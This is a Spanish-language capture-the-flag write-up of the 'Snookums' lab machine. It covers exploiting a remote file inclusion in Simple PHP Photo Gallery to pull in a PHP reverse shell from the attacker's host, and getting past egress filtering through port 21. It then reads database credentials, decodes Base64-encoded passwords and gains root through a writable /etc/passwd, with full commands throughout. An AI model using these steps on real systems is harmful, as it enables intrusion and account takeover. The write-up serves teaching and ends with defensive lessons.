the_open_door
café
ESEN

Snookums

Proving Grounds PracticeMediaLinux192.168.172.58

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#rfi#remote-file-inclusion#simple-php-photo-gallery#anonymous-ftp#smb-enum#mysql#base64#writable-passwd#egress-filtering#oscp
TL;DR. Snookums expone una galería de fotos en PHP, Simple PHP Photo Gallery v0.8, vulnerable a una inclusión remota de ficheros (RFI) que termina en ejecución de comandos. Servimos una shell PHP desde nuestra máquina, la incluimos por image.php?img= y obtenemos shell como apache, con el matiz de que el filtrado de salida solo deja conectar a puertos que la máquina ya tiene abiertos. Desde ahí leemos db.php, entramos a MySQL como root y sacamos de la tabla users una contraseña doblemente codificada en Base64 que pertenece a michael. Reutilizamos esa credencial para movernos a michael y leer local.txt. La escalada es directa: /etc/passwd es escribible por michael, así que dejamos al usuario root sin contraseña y un su root nos da la caja.

Reconocimiento

Escaneo inicial

Un ping de cortesía sitúa el sistema operativo antes de tocar nada. TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

ping -c 1 192.168.172.58
64 bytes from 192.168.172.58: icmp_seq=1 ttl=61 time=29.6 ms

Barremos los 65535 puertos TCP y luego lanzamos detección de versión solo sobre los abiertos:

sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.172.58
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  netbios-ssn
3306/tcp  open  mysql
33060/tcp open  mysqlx
nmap -p21,22,80,111,139,445,3306,33060 -sCV 192.168.172.58 -oN targetedScan
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp         vsftpd 3.0.2
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
22/tcp    open  ssh         OpenSSH 7.4 (protocol 2.0)
80/tcp    open  http        Apache httpd 2.4.6 ((CentOS) PHP/5.4.16)
|_http-title: Simple PHP Photo Gallery
111/tcp   open  rpcbind     2-4 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: SAMBA)
445/tcp   open  netbios-ssn Samba smbd 4.10.4 (workgroup: SAMBA)
3306/tcp  open  mysql       MySQL (unauthorized)
33060/tcp open  mysqlx      MySQL X protocol listener
Service Info: Host: SNOOKUMS; OS: Unix

Hay bastante superficie: FTP con login anónimo, un Apache antiguo (CentOS, PHP 5.4.16) sirviendo una galería de fotos, Samba y un MySQL expuesto al exterior. El FTP anónimo (login anónimo) acepta la sesión pero no llega a listar el directorio (el control devuelve TIMEOUT), así que de momento no aporta. El MySQL del 3306 está accesible en red pero pide credenciales que aún no tenemos. La galería de fotos del 80 es, con diferencia, lo más prometedor.

SMB - TCP 445

Antes de centrarnos en la web, una pasada de enum4linux con sesión nula nos regala un nombre de usuario del sistema, que conviene guardar para después (enumeración SMB con invitado):

enum4linux 192.168.172.58
[+] Enumerating users using SID S-1-22-1 and logon username '', password ''
S-1-22-1-1000 Unix User\michael (Local User)

El SID S-1-22-1 es el rango que Samba usa para mapear usuarios locales de Unix, así que michael es una cuenta real del sistema. Todavía no tenemos su contraseña, pero ya sabemos a qué usuario apuntar.

HTTP - TCP 80

La web es una galería de imágenes que se identifica al pie como Simple PHP Photo Gallery v0.8.

Galeria de fotos con el rotulo Simple PHP Photo Gallery v0.8 al pie de pagina

Esa cadena es suficiente para buscar vulnerabilidades conocidas. Simple PHP Photo Gallery arrastra una inclusión remota de ficheros sin autenticar en el parámetro img de image.php: la aplicación pasa lo que reciba directamente a include(), sin validar que sea un fichero local. Hay un exploit público que automatiza el salto de RFI a RCE.

README del exploit SimplePHPGal-RCE.py en GitHub describiendo la RFI sin autenticar de Simple PHP Photo Gallery

Shell como apache

RFI a RCE

La idea de la RFI es sencilla: si include() acepta una URL, alojamos nosotros una shell PHP y le pasamos su dirección. El exploit SimplePHPGal-RCE.py hace justo eso: levanta un servidor HTTP con la shell, dispara la inclusión y nos pide tener un nc a la escucha.

python3 SimplePHPGal-RCE.py http://192.168.172.58/ 192.168.45.239 4444

El exploter sirve la shell por HTTP y registra el GET de rev.php desde el objetivo en el puerto 4444

[✓] Serving HTTP traffic from .../exploits on 192.168.45.239 using port 80 in background
Run 'nc -nlvp 4444' on attacker machine in another terminal. Then press any key to continue
192.168.172.58 - - [30/Dec/2025 19:40:09] "GET /rev.php HTTP/1.0" 200 -
Request sent. Check your nc for a connection

El objetivo pide rev.php (200), pero la conexión de vuelta al 4444 no llega: el egreso por ese puerto está filtrado.

El servidor registra el GET /rev.php desde el objetivo (la inclusión se produce), pero el nc en el 4444 nunca recibe la conexión. La pista está en el propio escaneo: la máquina filtra la salida y solo deja salir tráfico hacia puertos que ella misma tiene abiertos. Repetimos apuntando a un puerto permitido, como el 21:

python3 SimplePHPGal-RCE.py http://192.168.172.58/ 192.168.45.239 21

Segundo intento del exploit usando el puerto 21 como puerto de retorno de la reverse shell

(Penelope)> listeners add -p 21
[+] Listening for reverse shells on 0.0.0.0:21
[+] Got reverse shell from snookums~192.168.172.58-Linux-x86_64  Assigned SessionID <1>
bash-4.2$ whoami
apache

Con el 21 como puerto de retorno (permitido de salida), la reverse shell sí llega.

Esa restricción de egreso es la que explica por qué el primer intento en el 4444 quedó colgado: la inclusión funcionaba desde el principio, lo que fallaba era el camino de vuelta.

Explotación manual

Conviene entender el exploit por dentro, porque hacerlo a mano cuesta lo mismo y deja claro el porqué. Preparamos una shell inversa de PHP (la de pentestmonkey vale) apuntando a nuestra IP y a un puerto abierto en el objetivo:

# rev.php (extracto)
$ip = '192.168.45.239';
$port = 21;

Con nc a la escucha en el puerto permitido 21:

nc -nlvp 21

La servimos por HTTP y forzamos la inclusión con un simple curl:

python3 -m http.server 80
curl "http://192.168.172.58/image.php?img=http://192.168.45.239/rev.php"

Reverse shell recibida como apache tras incluir rev.php por image.php; id y whoami muestran el usuario apache

192.168.172.58 - - [30/Dec/2025 19:45:27] "GET /rev.php HTTP/1.0" 200 -
...
bash-4.2$ whoami
apache
bash-4.2$ ip a
    inet 192.168.172.58/24 brd 192.168.172.255 scope global ens192

El receptor entra como apache, el usuario con el que corre el servidor web. Tenemos punto de apoyo, pero no es ni michael ni root.

Acceso como michael

Credenciales en db.php

Una galería con base de datos guarda en algún sitio las credenciales de conexión. El fichero de configuración está en la raíz web (credenciales en el código fuente):

cat /var/www/html/db.php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', 'MalapropDoffUtilize1337');
define('DBNAME', 'SimplePHPGal');

MySQL: contraseñas doblemente codificadas

Con esas credenciales entramos al MySQL local (la versión real es 8.0.20) y buscamos la tabla de usuarios:

mysql -u root -p   # MalapropDoffUtilize1337

Conexion a MySQL como root, listado de bases de datos y seleccion de SimplePHPGal

use SimplePHPGal;
select * from users;

Tabla users con josh, michael y serena y sus contrasenas codificadas en cadenas largas tipo Base64

+----------+--------------------------------------------------+
| username | password                                         |
+----------+--------------------------------------------------+
| josh     | VFc5aWFXeHBlbVZJYVhOelUyVmxaSFJwYldZdVM05EYz0=    |
| michael  | U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==          |
| serena   | VDNabGNtRnNiRU55WlhOMFRHVmhiakF3TUE9PQ==          |
+----------+--------------------------------------------------+

Esas cadenas no son hashes: terminan en = y solo usan el alfabeto Base64. De hecho, al decodificarlas una vez sale otra cadena Base64, así que están codificadas dos veces. Nos quedamos con la de michael, el usuario que ya habíamos visto por SMB:

echo -n 'U0c5amExTjVaRzVsZVVObGNuUnBabmt4TWpNPQ==' | base64 -d | base64 -d
HockSydneyCertify123

Codificar no es cifrar: Base64 es reversible sin secreto, así que guardar contraseñas así equivale a tenerlas en claro con un disfraz. Reutilizamos HockSydneyCertify123 (reutilización de credenciales) para pasar de apache a michael.

Acceso como michael reutilizando la contrasena recuperada de la base de datos

Ya como michael leemos la primera prueba:

cat local.txt

local.txt leido como michael, con whoami michael y la IP de la maquina

d9c8586fa18658713cdff7018fa8f1b6

Escalada de privilegios

/etc/passwd escribible

Una pasada de linpeas (repo) señala el problema de golpe: el fichero /etc/passwd es escribible.

./linpeas.sh
═╣ Writable passwd file? ................ /etc/passwd is writable

Lo confirmamos a mano. El propietario del fichero es el propio michael, con permiso de escritura:

ls -l /etc/passwd
-rw-r--r--. 1 michael root 1161 Dec 30 12:49 /etc/passwd

Aquí entra la mecánica de /etc/passwd escribible. En la entrada de root, la x del segundo campo significa "la contraseña vive en /etc/shadow". Si la borramos, ese campo queda vacío y el sistema interpreta que root no tiene contraseña. Editamos la línea para dejarla así:

vi /etc/passwd
# root:x:0:0:root:/root:/bin/bash   ->   root::0:0:root:/root:/bin/bash
root::0:0:root:/root:/bin/bash

Ahora su root no pide contraseña y entrega la shell:

su root

Tras editar /etc/passwd para vaciar el campo de contrasena de root, su root abre una shell de root

[michael@snookums tmp]$ ls -l /etc/passwd
-rw-r--r--. 1 michael root 1161 Dec 30 12:49 /etc/passwd
[michael@snookums tmp]$ cat /etc/passwd | head -n 1
root::0:0:root:/root:/bin/bash
[michael@snookums tmp]$ su root
[root@snookums tmp]# whoami
root
cat /root/proof.txt

proof.txt leido como root, con whoami root, hostname snookums y la IP

3cdacea11e685e480e1bb1da485e6796

Cadena de ataque

Simple PHP Photo Gallery v0.8 (HTTP 80)
        │  image.php?img= acepta una URL  ->  include() remoto (RFI)
        ▼
shell como apache  (retorno solo por puertos abiertos: 21/80)
        │  cat /var/www/html/db.php  ->  root:MalapropDoffUtilize1337
        ▼
MySQL  ->  tabla users  ->  Base64 doble  ->  michael:HockSydneyCertify123
        │  reutilizacion de credenciales
        ▼
shell como michael  (local.txt)
        │  /etc/passwd escribible  ->  vaciar el campo de password de root
        ▼
su root  ->  root  (proof.txt)

Lecciones aprendidas

  • Una RFI es un include() con URL. Cuando una aplicación PHP mete entrada del usuario directamente en un include/require, alojar la shell propia y pasarle la URL es suficiente para ejecutar código. La defensa es desactivar allow_url_include y nunca incluir rutas derivadas de la entrada.
  • El filtrado de salida cambia la táctica, no el resultado. Que el 4444 no devolviera conexión no significaba que el exploit fallara: la inclusión funcionaba y lo que faltaba era un puerto de retorno permitido. Probar puertos que la máquina ya tiene abiertos (21, 80) suele saltar ese control.
  • Base64 no protege nada. Codificar una contraseña, incluso dos veces, no añade seguridad: es reversible sin ningún secreto. En una base de datos las contraseñas deben ir con un hash lento y con sal, no codificadas.
  • /etc/passwd escribible es root inmediato. Si un usuario sin privilegios puede escribir ese fichero, vaciar el campo de contraseña de root (o añadir un usuario UID 0) entrega la máquina. Los permisos de /etc/passwd deben ser root:root 644, nunca propiedad de una cuenta de servicio o de usuario.
Cheatsheet de comandos 10 comandos

Repaso rápido